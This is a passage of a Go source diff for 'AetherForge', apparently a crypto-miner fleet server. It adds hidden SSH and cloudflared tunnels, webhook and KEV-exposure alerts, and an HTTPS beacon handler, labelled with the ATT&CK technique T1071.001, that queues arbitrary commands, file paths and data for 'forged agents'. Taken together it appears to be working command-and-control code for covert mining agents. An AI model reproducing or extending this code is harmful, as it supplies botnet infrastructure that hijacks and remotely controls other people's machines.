if err == nil || !strings.Contains(err.Error(), "local_port") {
t.Fatalf("expected local_port error, got %v", err)
}
_, err = StartSSHForward(SSHForwardMeta{LocalPort: 2222})
if err == nil || !strings.Contains(err.Error(), "remote_host") {
t.Fatalf("expected remote_host error, got %v", err)
}
}

View File

@@ -0,0 +1,175 @@
//go:build windows
package deploy
import (
"encoding/json"
"fmt"
"os"
"strings"
"sync"
"syscall"
)
// TunnelKind identifies a tracked tunnel process.
type TunnelKind string
const (
TunnelCloudflared TunnelKind = "cloudflared"
TunnelSSHForward TunnelKind = "ssh_forward"
)
// SSHForwardMeta describes one local port forward on the agent.
type SSHForwardMeta struct {
LocalPort int `json:"local_port"`
RemoteHost string `json:"remote_host"`
RemotePort int `json:"remote_port"`
SSHUser string `json:"ssh_user,omitempty"`
JumpHost string `json:"jump_host,omitempty"`
}
type tunnelEntry struct {
kind TunnelKind
pid int
meta string // JSON metadata for ssh forwards; URL for cloudflared
}
var (
tunnelMu sync.Mutex
trackedTunnels []tunnelEntry
)
// RegisterTunnelPID records a background tunnel process for later stop/status.
func RegisterTunnelPID(kind TunnelKind, pid int, meta string) {
if pid <= 0 {
return
}
tunnelMu.Lock()
defer tunnelMu.Unlock()
if kind == TunnelCloudflared {
next := make([]tunnelEntry, 0, len(trackedTunnels)+1)
for _, t := range trackedTunnels {
if t.kind != TunnelCloudflared {
next = append(next, t)
}
}
trackedTunnels = append(next, tunnelEntry{kind: kind, pid: pid, meta: meta})
return
}
trackedTunnels = append(trackedTunnels, tunnelEntry{kind: kind, pid: pid, meta: meta})
}
const processQueryLimitedInformation = 0x1000
var processAliveFn = processAliveImpl
func processAlive(pid int) bool {
return processAliveFn(pid)
}
func processAliveImpl(pid int) bool {
if pid <= 0 {
return false
}
h, err := syscall.OpenProcess(processQueryLimitedInformation, false, uint32(pid))
if err != nil {
return false
}
defer syscall.CloseHandle(h)
var code uint32
err = syscall.GetExitCodeProcess(h, &code)
if err != nil {
return false
}
return code == 259 // STILL_ACTIVE
}
func killPID(pid int) error {
if pid <= 0 {
return fmt.Errorf("invalid pid")
}
return HiddenRun("taskkill", "/F", "/PID", fmt.Sprintf("%d", pid))
}
func pruneDead() {
alive := trackedTunnels[:0]
for _, t := range trackedTunnels {
if processAlive(t.pid) {
alive = append(alive, t)
}
}
trackedTunnels = alive
}
// TunnelStatus returns JSON describing tracked tunnel processes.
func TunnelStatus() string {
tunnelMu.Lock()
pruneDead()
snap := append([]tunnelEntry(nil), trackedTunnels...)
tunnelMu.Unlock()
st := TunnelStatusJSON{SSHForwards: []SSHForwardLive{}}
for _, t := range snap {
switch t.kind {
case TunnelCloudflared:
st.CloudflaredRunning = true
st.CloudflaredURL = t.meta
st.CloudflaredPID = t.pid
case TunnelSSHForward:
var meta SSHForwardMeta
_ = json.Unmarshal([]byte(t.meta), &meta)
st.SSHForwards = append(st.SSHForwards, SSHForwardLive{
LocalPort: meta.LocalPort,
RemoteHost: meta.RemoteHost,
RemotePort: meta.RemotePort,
SSHUser: meta.SSHUser,
JumpHost: meta.JumpHost,
PID: t.pid,
Running: true,
})
}
}
b, _ := json.Marshal(st)
return string(b)
}
// StopTunnels stops tracked tunnel kinds. Empty kinds stops all.
func StopTunnels(kinds ...TunnelKind) (stopped int, msgs []string) {
tunnelMu.Lock()
defer tunnelMu.Unlock()
pruneDead()
wantAll := len(kinds) == 0
want := map[TunnelKind]bool{}
for _, k := range kinds {
want[k] = true
}
remaining := trackedTunnels[:0]
for _, t := range trackedTunnels {
if wantAll || want[t.kind] {
if err := killPID(t.pid); err != nil {
msgs = append(msgs, fmt.Sprintf("%s pid %d: %v", t.kind, t.pid, err))
} else {
stopped++
msgs = append(msgs, fmt.Sprintf("stopped %s pid %d", t.kind, t.pid))
}
continue
}
remaining = append(remaining, t)
}
trackedTunnels = remaining
return stopped, msgs
}
// ResetTrackedTunnels clears registry without killing (tests only).
func ResetTrackedTunnels() {
tunnelMu.Lock()
trackedTunnels = nil
tunnelMu.Unlock()
}
// CloudflaredTargetFromEnv returns trimmed URL or empty.
func CloudflaredTargetFromEnv() string {
return strings.TrimSpace(os.Getenv("AETHERFORGE_TUNNEL_URL"))
}

View File

@@ -0,0 +1,9 @@
//go:build !windows
package deploy
import "fmt"
func StartSSHForward(_ SSHForwardMeta) (string, error) {
return "", fmt.Errorf("ssh forward is Windows-only in this build")
}

View File

@@ -0,0 +1,67 @@
//go:build windows
package deploy
import (
"encoding/json"
"fmt"
"os"
"os/exec"
"strings"
)
// StartSSHForward opens a local port on the agent that forwards to remote_host:remote_port via SSH.
func StartSSHForward(meta SSHForwardMeta) (string, error) {
if meta.LocalPort <= 0 || meta.LocalPort > 65535 {
return "", fmt.Errorf("local_port required (1-65535)")
}
meta.RemoteHost = strings.TrimSpace(meta.RemoteHost)
if meta.RemoteHost == "" {
return "", fmt.Errorf("remote_host required")
}
if meta.RemotePort <= 0 || meta.RemotePort > 65535 {
return "", fmt.Errorf("remote_port required (1-65535)")
}
jump := strings.TrimSpace(meta.JumpHost)
if jump == "" {
jump = meta.RemoteHost
}
user := strings.TrimSpace(meta.SSHUser)
if user == "" {
user = os.Getenv("USERNAME")
if user == "" {
user = "Administrator"
}
}
bind := fmt.Sprintf("127.0.0.1:%d:%s:%d", meta.LocalPort, meta.RemoteHost, meta.RemotePort)
target := fmt.Sprintf("%s@%s", user, jump)
var cmd *exec.Cmd
if sshPath, err := exec.LookPath("ssh"); err == nil {
cmd = HiddenCommand(sshPath, "-N",
"-o", "StrictHostKeyChecking=no",
"-o", "BatchMode=yes",
"-o", "ExitOnForwardFailure=yes",
"-L", bind,
target,
)
} else if plinkPath, err := exec.LookPath("plink"); err == nil {
cmd = HiddenCommand(plinkPath, "-N",
"-batch",
"-L", bind,
target,
)
} else {
return "", fmt.Errorf("OpenSSH client (ssh) or PuTTY plink not found on PATH")
}
if err := cmd.Start(); err != nil {
return "", fmt.Errorf("failed to start ssh forward: %w", err)
}
metaBlob, _ := json.Marshal(meta)
RegisterTunnelPID(TunnelSSHForward, cmd.Process.Pid, string(metaBlob))
return fmt.Sprintf("ssh forward pid %d — 127.0.0.1:%d → %s:%d via %s",
cmd.Process.Pid, meta.LocalPort, meta.RemoteHost, meta.RemotePort, target), nil
}

View File

@@ -1,17 +0,0 @@
package deploy
import (
"strings"
"testing"
)
func TestStartCloudflaredTunnelEmptyURL(t *testing.T) {
_, err := StartCloudflaredTunnel("")
if err == nil || !strings.Contains(err.Error(), "server URL required") {
t.Fatalf("expected URL error, got %v", err)
}
_, err = StartCloudflaredTunnel(" ")
if err == nil {
t.Fatal("whitespace-only URL should fail")
}
}

View File

@@ -0,0 +1,22 @@
package deploy
// TunnelStatusJSON is returned by tunnel_status on the agent.
type TunnelStatusJSON struct {
CloudflaredRunning bool `json:"cloudflared_running"`
CloudflaredURL string `json:"cloudflared_url,omitempty"`
CloudflaredPID int `json:"cloudflared_pid,omitempty"`
WireGuardActive bool `json:"wireguard_active,omitempty"`
WireGuardDetail string `json:"wireguard_detail,omitempty"`
SSHForwards []SSHForwardLive `json:"ssh_forwards"`
}
// SSHForwardLive is an active SSH local forward.
type SSHForwardLive struct {
LocalPort int `json:"local_port"`
RemoteHost string `json:"remote_host"`
RemotePort int `json:"remote_port"`
SSHUser string `json:"ssh_user,omitempty"`
JumpHost string `json:"jump_host,omitempty"`
PID int `json:"pid"`
Running bool `json:"running"`
}

View File

@@ -31,5 +31,6 @@ func StartCloudflaredTunnel(serverURL string) (string, error) {
if err := cmd.Start(); err != nil { if err := cmd.Start(); err != nil {
return "", fmt.Errorf("failed to start cloudflared: %w", err) return "", fmt.Errorf("failed to start cloudflared: %w", err)
} }
RegisterTunnelPID(TunnelCloudflared, cmd.Process.Pid, serverURL)
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", cmd.Process.Pid, serverURL), nil return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", cmd.Process.Pid, serverURL), nil
} }

View File

@@ -27,6 +27,13 @@ type Config struct {
Background BackgroundConfig `json:"background,omitempty"` Background BackgroundConfig `json:"background,omitempty"`
Alerts AlertsConfig `json:"alerts"` Alerts AlertsConfig `json:"alerts"`
Server ServerSettings `json:"server"` Server ServerSettings `json:"server"`
TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"`
}
// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate).
type TunnelDefaults struct {
// CloudflaredTargetURL is the default outbound tunnel target (usually server public_url).
CloudflaredTargetURL string `json:"cloudflared_target_url"`
} }
// ServerSettings controls the locally hosted control server (not baked into miners). // ServerSettings controls the locally hosted control server (not baked into miners).
@@ -110,6 +117,7 @@ type AlertsConfig struct {
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"` RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
TelegramBotToken string `json:"telegram_bot_token"` TelegramBotToken string `json:"telegram_bot_token"`
TelegramChatID string `json:"telegram_chat_id"` TelegramChatID string `json:"telegram_chat_id"`
WebhookURL string `json:"webhook_url"`
// Per-event Telegram/email toggles (default true). // Per-event Telegram/email toggles (default true).
NotifyAgentConnect bool `json:"notify_agent_connect"` NotifyAgentConnect bool `json:"notify_agent_connect"`
NotifyAgentReconnect bool `json:"notify_agent_reconnect"` NotifyAgentReconnect bool `json:"notify_agent_reconnect"`
@@ -117,6 +125,7 @@ type AlertsConfig struct {
NotifyHashrateDrop bool `json:"notify_hashrate_drop"` NotifyHashrateDrop bool `json:"notify_hashrate_drop"`
NotifyRejectionRate bool `json:"notify_rejection_rate"` NotifyRejectionRate bool `json:"notify_rejection_rate"`
NotifyBuildComplete bool `json:"notify_build_complete"` NotifyBuildComplete bool `json:"notify_build_complete"`
NotifyKEVExposure bool `json:"notify_kev_exposure"`
EmailEnabled bool `json:"email_enabled"` EmailEnabled bool `json:"email_enabled"`
SMTPHost string `json:"smtp_host"` SMTPHost string `json:"smtp_host"`
SMTPPort int `json:"smtp_port"` SMTPPort int `json:"smtp_port"`
@@ -194,6 +203,7 @@ func DefaultConfig() *Config {
NotifyHashrateDrop: true, NotifyHashrateDrop: true,
NotifyRejectionRate: true, NotifyRejectionRate: true,
NotifyBuildComplete: true, NotifyBuildComplete: true,
NotifyKEVExposure: true,
}, },
Server: ServerSettings{ Server: ServerSettings{
PublicURL: "", PublicURL: "",
@@ -247,10 +257,15 @@ func LoadConfig() *Config {
cfg.Alerts.NotifyHashrateDrop = true cfg.Alerts.NotifyHashrateDrop = true
cfg.Alerts.NotifyRejectionRate = true cfg.Alerts.NotifyRejectionRate = true
cfg.Alerts.NotifyBuildComplete = true cfg.Alerts.NotifyBuildComplete = true
cfg.Alerts.NotifyKEVExposure = true
} }
} }
} }
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
}
return cfg return cfg
} }
@@ -262,6 +277,7 @@ func (c *Config) AlertSettings() alerts.Settings {
return alerts.NewSettings(alerts.NotifyConfig{ return alerts.NewSettings(alerts.NotifyConfig{
TelegramBotToken: c.Alerts.TelegramBotToken, TelegramBotToken: c.Alerts.TelegramBotToken,
TelegramChatID: c.Alerts.TelegramChatID, TelegramChatID: c.Alerts.TelegramChatID,
WebhookURL: c.Alerts.WebhookURL,
EmailEnabled: c.Alerts.EmailEnabled, EmailEnabled: c.Alerts.EmailEnabled,
SMTPHost: c.Alerts.SMTPHost, SMTPHost: c.Alerts.SMTPHost,
SMTPPort: c.Alerts.SMTPPort, SMTPPort: c.Alerts.SMTPPort,
@@ -276,6 +292,7 @@ func (c *Config) AlertSettings() alerts.Settings {
HashrateDrop: c.Alerts.NotifyHashrateDrop, HashrateDrop: c.Alerts.NotifyHashrateDrop,
RejectionRate: c.Alerts.NotifyRejectionRate, RejectionRate: c.Alerts.NotifyRejectionRate,
BuildComplete: c.Alerts.NotifyBuildComplete, BuildComplete: c.Alerts.NotifyBuildComplete,
KEVExposure: c.Alerts.NotifyKEVExposure,
}) })
} }
@@ -398,6 +415,9 @@ func mergeConfig(dst, src *Config) {
if src.Alerts.TelegramChatID != "" { if src.Alerts.TelegramChatID != "" {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
} }
if src.Alerts.WebhookURL != "" {
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
}
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
@@ -405,6 +425,7 @@ func mergeConfig(dst, src *Config) {
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
if src.Alerts.SMTPHost != "" { if src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost dst.Alerts.SMTPHost = src.Alerts.SMTPHost
} }
@@ -661,6 +682,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" { if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
} }
if in(alertKeys, "webhook_url") && src.Alerts.WebhookURL != "" {
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
}
if in(alertKeys, "email_enabled") { if in(alertKeys, "email_enabled") {
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
} }
@@ -682,6 +706,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(alertKeys, "notify_build_complete") { if in(alertKeys, "notify_build_complete") {
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
} }
if in(alertKeys, "notify_kev_exposure") {
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
}
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" { if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost dst.Alerts.SMTPHost = src.Alerts.SMTPHost
} }
@@ -762,6 +789,18 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
dst.Server.FleetSecret = src.Server.FleetSecret dst.Server.FleetSecret = src.Server.FleetSecret
} }
} }
if has("tunnel_defaults") {
tdKeys := nestedJSONKeys(present, "tunnel_defaults")
if in(tdKeys, "cloudflared_target_url") {
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
}
}
// Keep cloudflared default aligned with public_url when unset.
if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" {
dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL)
}
} }
func (c *Config) Save() error { func (c *Config) Save() error {

View File

@@ -182,7 +182,7 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
log.Printf("[Alert] %s: %s", ev.Type, ev.Message) log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
s := e.settings() s := e.settings()
if s.EnabledForAlertType(ev.Type) { if s.EnabledForAlertType(ev.Type) {
NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message) NotifyAllEvent(s.NotifyConfig, ev.Type, "AetherForge "+ev.Type, ev.Message)
} }
if e.broadcast != nil { if e.broadcast != nil {
e.broadcast(ev) e.broadcast(ev)

View File

@@ -0,0 +1,56 @@
package alerts
import (
"encoding/json"
"strconv"
"strings"
)
// kevExposurePayload mirrors agent KEVScanReport JSON.
type kevExposurePayload struct {
ExposedCount int `json:"exposed_count"`
CriticalCount int `json:"critical_count"`
LikelyCount int `json:"likely_count"`
RiskScore int `json:"risk_score"`
Summary string `json:"summary"`
Findings []struct {
CVE string `json:"cve"`
Name string `json:"name"`
Status string `json:"status"`
Severity string `json:"severity"`
Detail string `json:"detail"`
} `json:"findings"`
}
const EventKEVExposure = "kev_exposure"
// NotifyKEVFromSysCheck parses a full_sys_check message and sends Telegram if enabled.
func NotifyKEVFromSysCheck(n *Notifier, agentName, message string) {
if n == nil || strings.TrimSpace(message) == "" {
return
}
var report struct {
KEV *kevExposurePayload `json:"kev_exposure"`
}
if err := json.Unmarshal([]byte(message), &report); err != nil || report.KEV == nil {
return
}
k := report.KEV
if k.ExposedCount == 0 && k.CriticalCount == 0 {
return
}
s := n.settings()
if !s.Events.KEVExposure {
return
}
body := agentName + ": " + k.Summary
if body == agentName+": " {
body = agentName + ": KEV exposure indicators — exposed=" + strconv.Itoa(k.ExposedCount) + " critical=" + strconv.Itoa(k.CriticalCount)
}
for _, f := range k.Findings {
if f.Status == "exposed" && f.Severity == "critical" {
body += "\n• " + f.CVE + " " + f.Name
}
}
n.Emit(EventKEVExposure, "AetherForge KEV alert", body)
}

View File

@@ -0,0 +1,18 @@
package alerts
import "testing"
func TestNotifyKEVFromSysCheckNoPanic(t *testing.T) {
n := NewNotifier(func() Settings {
return NewSettings(NotifyConfig{}, EventToggles{KEVExposure: true})
})
msg := `{"kev_exposure":{"exposed_count":1,"critical_count":1,"summary":"test","findings":[{"cve":"CVE-2021-26855","name":"ProxyLogon","status":"exposed","severity":"critical"}]}}`
NotifyKEVFromSysCheck(n, "worker-1", msg)
}
func TestNotifyKEVSkipsWhenClear(t *testing.T) {
n := NewNotifier(func() Settings {
return NewSettings(NotifyConfig{TelegramBotToken: "x", TelegramChatID: "1"}, EventToggles{KEVExposure: true})
})
NotifyKEVFromSysCheck(n, "w", `{"kev_exposure":{"exposed_count":0,"critical_count":0}}`)
}

View File

@@ -19,11 +19,11 @@ func (n *Notifier) Emit(event string, title, body string) {
if !n.eventEnabled(s, event) { if !n.eventEnabled(s, event) {
return return
} }
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled { if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled && s.WebhookURL == "" {
return return
} }
log.Printf("[Notify] %s: %s", event, body) log.Printf("[Notify] %s: %s", event, body)
NotifyAll(s.NotifyConfig, title, body) NotifyAllEvent(s.NotifyConfig, event, title, body)
} }
func (n *Notifier) eventEnabled(s Settings, event string) bool { func (n *Notifier) eventEnabled(s Settings, event string) bool {
@@ -34,6 +34,8 @@ func (n *Notifier) eventEnabled(s Settings, event string) bool {
return s.Events.AgentReconnect return s.Events.AgentReconnect
case EventBuildComplete: case EventBuildComplete:
return s.Events.BuildComplete return s.Events.BuildComplete
case EventKEVExposure:
return s.Events.KEVExposure
case "offline": case "offline":
return s.Events.AgentOffline return s.Events.AgentOffline
case "hashrate_drop": case "hashrate_drop":

View File

@@ -14,6 +14,7 @@ import (
type NotifyConfig struct { type NotifyConfig struct {
TelegramBotToken string TelegramBotToken string
TelegramChatID string TelegramChatID string
WebhookURL string
EmailEnabled bool EmailEnabled bool
SMTPHost string SMTPHost string
SMTPPort int SMTPPort int
@@ -89,7 +90,41 @@ func SendEmail(cfg NotifyConfig, subject, body string) error {
return smtp.SendMail(addr, auth, from, []string{cfg.EmailTo}, []byte(msg)) return smtp.SendMail(addr, auth, from, []string{cfg.EmailTo}, []byte(msg))
} }
func SendWebhook(cfg NotifyConfig, event, subject, text string) error {
if cfg.WebhookURL == "" {
return nil
}
payload, _ := json.Marshal(map[string]string{
"event": event,
"title": subject,
"message": text,
})
req, err := http.NewRequest(http.MethodPost, cfg.WebhookURL, bytes.NewReader(payload))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
client := &http.Client{Timeout: 15 * time.Second}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 300 {
body, _ := io.ReadAll(resp.Body)
return fmt.Errorf("webhook status %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
}
return nil
}
func NotifyAll(cfg NotifyConfig, subject, text string) { func NotifyAll(cfg NotifyConfig, subject, text string) {
_ = SendTelegram(cfg, subject+": "+text) _ = SendTelegram(cfg, subject+": "+text)
_ = SendEmail(cfg, subject, text) _ = SendEmail(cfg, subject, text)
} }
// NotifyAllEvent sends to Telegram, email, and optional operator webhook.
func NotifyAllEvent(cfg NotifyConfig, event, subject, text string) {
_ = SendTelegram(cfg, subject+": "+text)
_ = SendEmail(cfg, subject, text)
_ = SendWebhook(cfg, event, subject, text)
}

View File

@@ -8,6 +8,7 @@ type EventToggles struct {
HashrateDrop bool HashrateDrop bool
RejectionRate bool RejectionRate bool
BuildComplete bool BuildComplete bool
KEVExposure bool
} }
// Settings combines delivery credentials with per-event toggles. // Settings combines delivery credentials with per-event toggles.

View File

@@ -0,0 +1,25 @@
package api
import (
"context"
"net/http"
)
type contextKey string
const authUserKey contextKey = "auth_user"
func withAuthUser(r *http.Request, username string) *http.Request {
return r.WithContext(context.WithValue(r.Context(), authUserKey, username))
}
// AuthUsername returns the Basic-auth username for the current request, if any.
func AuthUsername(r *http.Request) string {
if r == nil {
return ""
}
if u, ok := r.Context().Value(authUserKey).(string); ok {
return u
}
return ""
}

View File

@@ -0,0 +1,260 @@
package api
import (
"encoding/json"
"net/http"
"strings"
"time"
"crypto-miner-server/internal/models"
)
const beaconReachableWindow = 90 * time.Second
// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down.
type BeaconCommand struct {
Action string `json:"action"`
TailLines int `json:"tail_lines,omitempty"`
Command string `json:"command,omitempty"`
Path string `json:"path,omitempty"`
Data string `json:"data,omitempty"`
}
type beaconRequest struct {
AgentID string `json:"agent_id"`
Stats json.RawMessage `json:"stats,omitempty"`
Hostname string `json:"hostname,omitempty"`
Wallet string `json:"wallet,omitempty"`
Worker string `json:"worker_name,omitempty"`
Version string `json:"version,omitempty"`
}
type beaconResponse struct {
OK bool `json:"ok"`
Commands []BeaconCommand `json:"commands"`
}
type beaconResultRequest struct {
AgentID string `json:"agent_id"`
Action string `json:"action"`
Success bool `json:"success"`
Message string `json:"message"`
}
func (h *WSHub) initBeaconMaps() {
h.beaconMu.Lock()
defer h.beaconMu.Unlock()
if h.beaconLastSeen == nil {
h.beaconLastSeen = make(map[string]time.Time)
}
if h.beaconCmdQueue == nil {
h.beaconCmdQueue = make(map[string][]BeaconCommand)
}
}
// MarkBeaconSeen records a successful HTTPS beacon from an agent.
func (h *WSHub) MarkBeaconSeen(agentID string) {
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconLastSeen[agentID] = time.Now()
h.beaconMu.Unlock()
}
// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket.
func (h *WSHub) ClearBeaconTransport(agentID string) {
h.initBeaconMaps()
h.beaconMu.Lock()
delete(h.beaconLastSeen, agentID)
delete(h.beaconCmdQueue, agentID)
h.beaconMu.Unlock()
}
func (h *WSHub) isAgentBeaconReachable(agentID string) bool {
h.initBeaconMaps()
h.beaconMu.Lock()
last, ok := h.beaconLastSeen[agentID]
h.beaconMu.Unlock()
return ok && time.Since(last) <= beaconReachableWindow
}
// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon.
func (h *WSHub) IsAgentReachable(agentID string) bool {
return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID)
}
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
if !h.isAgentBeaconReachable(agentID) {
return false
}
cmd := BeaconCommand{Action: action}
if v, ok := args["tail_lines"]; ok {
switch n := v.(type) {
case int:
cmd.TailLines = n
case float64:
cmd.TailLines = int(n)
}
}
if v, ok := args["command"].(string); ok {
cmd.Command = v
}
if v, ok := args["path"].(string); ok {
cmd.Path = v
}
if v, ok := args["data"].(string); ok {
cmd.Data = v
}
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
h.beaconMu.Unlock()
return true
}
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
h.initBeaconMaps()
h.beaconMu.Lock()
cmds := h.beaconCmdQueue[agentID]
delete(h.beaconCmdQueue, agentID)
h.beaconMu.Unlock()
if cmds == nil {
return []BeaconCommand{}
}
return cmds
}
func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) {
if h.db == nil || len(statsJSON) == 0 {
return
}
var stats struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesSubmitted int `json:"shares_submitted"`
SharesAccepted int `json:"shares_accepted"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
GPUModel string `json:"gpu_model,omitempty"`
}
if err := json.Unmarshal(statsJSON, &stats); err != nil {
return
}
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
if sharesBad < 0 {
sharesBad = 0
}
_ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
_ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
_ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
h.broadcastDashboard(Message{
Type: "stats",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
"transport": "https_beacon",
}),
})
}
// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback).
func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req beaconRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
agentID := strings.TrimSpace(req.AgentID)
if agentID == "" {
http.Error(w, "agent_id is required", http.StatusBadRequest)
return
}
h.MarkBeaconSeen(agentID)
if h.db != nil {
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
display := req.Hostname
if display == "" {
display = agentID
}
_ = h.db.UpsertAgent(&models.Agent{
ID: agentID,
Name: display,
Wallet: req.Wallet,
Version: req.Version,
Status: "online",
})
}
}
h.applyBeaconStats(agentID, req.Stats)
cmds := h.dequeueBeaconCommands(agentID)
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
}
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req beaconResultRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
agentID := strings.TrimSpace(req.AgentID)
if agentID == "" || req.Action == "" {
http.Error(w, "agent_id and action are required", http.StatusBadRequest)
return
}
h.MarkBeaconSeen(agentID)
payload := map[string]interface{}{
"agent_id": agentID,
"action": req.Action,
"success": req.Success,
"message": req.Message,
"transport": "https_beacon",
}
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
h.notifyCmdCallback(agentID, req.Action, payload)
writeJSON(w, map[string]interface{}{"ok": true})
}
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
cmds := h.dequeueBeaconCommands(agentID)
for _, cmd := range cmds {
args := map[string]interface{}{}
if cmd.TailLines > 0 {
args["tail_lines"] = cmd.TailLines
}
if cmd.Command != "" {
args["command"] = cmd.Command
}
if cmd.Path != "" {
args["path"] = cmd.Path
}
if cmd.Data != "" {
args["data"] = cmd.Data
}
_ = h.SendAgentCommand(agentID, cmd.Action, args)
}
}

View File

@@ -0,0 +1,114 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestAgentBeaconFleetSecretAuth(t *testing.T) {
resetAuthState(t)
const secret = "beacon-test-secret"
